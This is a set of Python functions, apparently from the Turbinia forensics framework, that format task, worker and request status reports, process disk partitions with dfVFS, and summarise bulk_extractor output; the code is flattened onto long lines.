report.append(fmt.heading1('{0:s} Tasks'.format(success_type))) if not task_map[success_type]: report.append(fmt.bullet('None')) task_counter = defaultdict(int) for task in task_map[success_type]: if full_report and success_type == success_types[0]: report.extend( self.format_task_detail(task, show_files=all_fields)) elif success_type == success_types[2]: report.extend(self.format_task(task, show_files=all_fields)) else: task_counter['\n'.join( self.format_task(task, show_files=all_fields))] += 1 if len(task_counter): for k, v in task_counter.items(): if v == 1: report.append(k) else: report.append('{0:s} x {1:d}'.format(k, v)) return '\n'.join(report)
def _ProcessPartition(self, evidence_path, path_spec): """Generate RawDiskPartition from a PathSpec. Args: evidence_path (str): Local path of the parent evidence path_spec (dfvfs.PathSpec): dfVFS path spec. Returns: A new RawDiskPartition evidence item and a list of strings containing partition information to add to the status report. """ status_report = [] fs_path_spec = path_spec fs_location = None partition_location = None volume_index = None partition_index = None partition_offset = None partition_size = None # File system location / identifier fs_location = getattr(path_spec, 'location', None) while path_spec.HasParent(): type_indicator = path_spec.type_indicator if type_indicator == dfvfs_definitions.TYPE_INDICATOR_APFS_CONTAINER: # APFS volume index volume_index = getattr(path_spec, 'volume_index', None) if type_indicator == dfvfs_definitions.TYPE_INDICATOR_TSK_PARTITION: if fs_location in ('\\', '/'): # Partition location / identifier fs_location = getattr(path_spec, 'location', None) partition_location = getattr(path_spec, 'location', None) # Partition index partition_index = getattr(path_spec, 'part_index', None) volume_system = tsk_volume_system.TSKVolumeSystem() try: volume_system.Open(path_spec) volume_identifier = partition_location.replace('/', '') volume = volume_system.GetVolumeByIdentifier( volume_identifier) partition_offset = volume.extents[0].offset partition_size = volume.extents[0].size except dfvfs_errors.VolumeSystemError as e: raise TurbiniaException( 'Could not process partition: {0!s}'.format(e)) break path_spec = path_spec.parent status_report.append(fmt.heading5('{0!s}:'.format(fs_location))) if partition_index: if not volume_index is None: status_report.append( fmt.bullet('Volume index: {0!s}'.format(volume_index))) status_report.append( fmt.bullet('Partition index: {0!s}'.format(partition_index))) status_report.append( fmt.bullet('Partition offset: {0!s}'.format(partition_offset))) status_report.append( fmt.bullet('Partition size: {0!s}'.format(partition_size))) else: status_report.append( fmt.bullet('Source evidence is a volume image')) partition_evidence = RawDiskPartition( source_path=evidence_path, path_spec=fs_path_spec, partition_offset=partition_offset, partition_size=partition_size) return partition_evidence, status_report
def format_worker_status( self, instance, project, region, days=0, all_fields=False): """Formats the recent history for Turbinia Workers. Args: instance (string): The Turbinia instance name (by default the same as the INSTANCE_ID in the config). project (string): The name of the project. region (string): The name of the zone to execute in. days (int): The number of days we want history for. all_fields (bool): Include historical Task information for the worker. Returns: String of Request status """ # Set number of days to retrieve data num_days = 7 if days != 0: num_days = days task_results = self.get_task_data(instance, project, region, days=num_days) if not task_results: return '' # Sort task_results by last updated timestamp. task_results = sorted( task_results, key=itemgetter('last_update'), reverse=True) # Create dictionary of worker_node: {{task_id, task_update, # task_name, task_status}} workers_dict = {} scheduled_counter = 0 for result in task_results: worker_node = result.get('worker_name') status = result.get('status') status = status if status else 'No task status' if worker_node and worker_node not in workers_dict: workers_dict[worker_node] = [] if worker_node: task_dict = {} task_dict['task_id'] = result.get('id') task_dict['last_update'] = result.get('last_update') task_dict['task_name'] = result.get('name') task_dict['status'] = status # Check status for anything that is running. if 'running' in status: run_time = (datetime.now() - result.get('last_update')).total_seconds() run_time = timedelta(seconds=run_time) task_dict['run_time'] = run_time else: run_time = result.get('run_time') task_dict['run_time'] = run_time if run_time else 'No run time.' workers_dict[worker_node].append(task_dict) else: # Track scheduled/unassigned Tasks for reporting. scheduled_counter += 1 # Generate report header report = [] report.append( fmt.heading1( 'Turbinia report for Worker activity within {0:d} days'.format( num_days))) report.append( fmt.bullet('{0:d} Worker(s) found.'.format(len(workers_dict.keys())))) report.append( fmt.bullet( '{0:d} Task(s) unassigned or scheduled and pending Worker assignment.' .format(scheduled_counter))) for worker_node, tasks in workers_dict.items(): report.append('') report.append(fmt.heading2('Worker Node: {0:s}'.format(worker_node))) # Append the statuses chronologically run_status, queued_status, other_status = [], [], [] for task in tasks: if 'running' in task['status']: run_status.extend(self.format_worker_task(task)) elif 'queued' in task['status']: queued_status.extend(self.format_worker_task(task)) else: other_status.extend(self.format_worker_task(task)) # Add each of the status lists back to report list not_found = [fmt.bullet('No Tasks found.')] report.append(fmt.heading3('Running Tasks')) report.extend(run_status if run_status else not_found) report.append('') report.append(fmt.heading3('Queued Tasks')) report.extend(queued_status if queued_status else not_found) # Add Historical Tasks if all_fields: report.append('') report.append(fmt.heading3('Finished Tasks')) report.extend(other_status if other_status else not_found) return '\n'.join(report)
def generate_summary_report(self, output_file_path): """Generate a summary report from the resulting bulk extractor run. Args: output_file_path(str): the path to the bulk extractor output. Returns: tuple: containing: report_test(str): The report data summary(str): A summary of the report (used for task status) """ findings = [] features_count = 0 report_path = os.path.join(output_file_path, 'report.xml') # Check if report.xml was not generated by bulk extractor. if not os.path.exists(report_path): report = 'Execution successful, but the report is not available.' return (report, report) # Parse existing XML file. self.xml = xml_tree.parse(report_path) # Place in try/except statement to continue execution when # an attribute is not found and NoneType is returned. try: # Retrieve summary related results. findings.append(fmt.heading4('Bulk Extractor Results')) findings.append(fmt.heading5('Run Summary')) findings.append( fmt.bullet( 'Program: {0} - {1}'.format( self.check_xml_attrib('creator/program'), self.check_xml_attrib('creator/version')))) findings.append( fmt.bullet( 'Command Line: {0}'.format( self.check_xml_attrib( 'creator/execution_environment/command_line')))) findings.append( fmt.bullet( 'Start Time: {0}'.format( self.check_xml_attrib( 'creator/execution_environment/start_time')))) findings.append( fmt.bullet( 'Elapsed Time: {0}'.format( self.check_xml_attrib('report/elapsed_seconds')))) # Retrieve results from each of the scanner runs feature_files = self.xml.find('feature_files') if feature_files is not None: feature_iter = feature_files.iter() findings.append(fmt.heading5('Scanner Results')) for f in feature_iter: if f.tag == 'feature_file': name = next(feature_iter) count = next(feature_iter) findings.append(fmt.bullet('{0}:{1}'.format(name.text, count.text))) features_count += int(count.text) else: findings.append(fmt.heading5("There are no findings to report.")) except AttributeError as exception: log.warning( 'Error parsing feature from Bulk Extractor report: {0!s}'.format( exception)) summary = '{0} artifacts have been extracted.'.format(features_count) report = '\n'.join(findings) return (report, summary)
def format_request_status( self, instance, project, region, days=0, all_fields=False): """Formats the recent history for Turbinia Requests. Args: instance (string): The Turbinia instance name (by default the same as the INSTANCE_ID in the config). project (string): The name of the project. region (string): The name of the zone to execute in. days (int): The number of days we want history for. all_fields (bool): Include all fields for the Request, which includes, saved file paths. Returns: String of Request status """ # Set number of days to retrieve data num_days = 7 if days != 0: num_days = days task_results = self.get_task_data(instance, project, region, days=num_days) if not task_results: return '' # Sort task_results by last updated timestamp. task_results = sorted( task_results, key=itemgetter('last_update'), reverse=True) # Create dictionary of request_id: {saved_paths, last_update, requester, # task_id} request_dict = {} for result in task_results: request_id = result.get('request_id') saved_paths = result.get('saved_paths') if request_id not in request_dict: saved_paths = set(saved_paths) if saved_paths else set() request_dict[request_id] = {} request_dict[request_id]['saved_paths'] = saved_paths request_dict[request_id]['last_update'] = result.get('last_update') request_dict[request_id]['requester'] = result.get('requester') request_dict[request_id]['task_id'] = set([result.get('id')]) else: if saved_paths: request_dict[request_id]['saved_paths'].update(saved_paths) request_dict[request_id]['task_id'].update([result.get('id')]) # Generate report header report = [] report.append( fmt.heading1( 'Turbinia report for Requests made within {0:d} days'.format( num_days))) report.append( fmt.bullet( '{0:d} requests were made within this timeframe.'.format( len(request_dict.keys())))) # Print report data for Requests for request_id, values in request_dict.items(): report.append('') report.append(fmt.heading2('Request ID: {0:s}'.format(request_id))) report.append( fmt.bullet( 'Last Update: {0:s}'.format( values['last_update'].strftime(DATETIME_FORMAT)))) report.append(fmt.bullet('Requester: {0:s}'.format(values['requester']))) report.append( fmt.bullet('Task Count: {0:d}'.format(len(values['task_id'])))) if all_fields: report.append(fmt.bullet('Associated Evidence:')) # Append all saved paths in request for path in sorted(values['saved_paths']): report.append(fmt.bullet(fmt.code(path), level=2)) report.append('') return '\n'.join(report)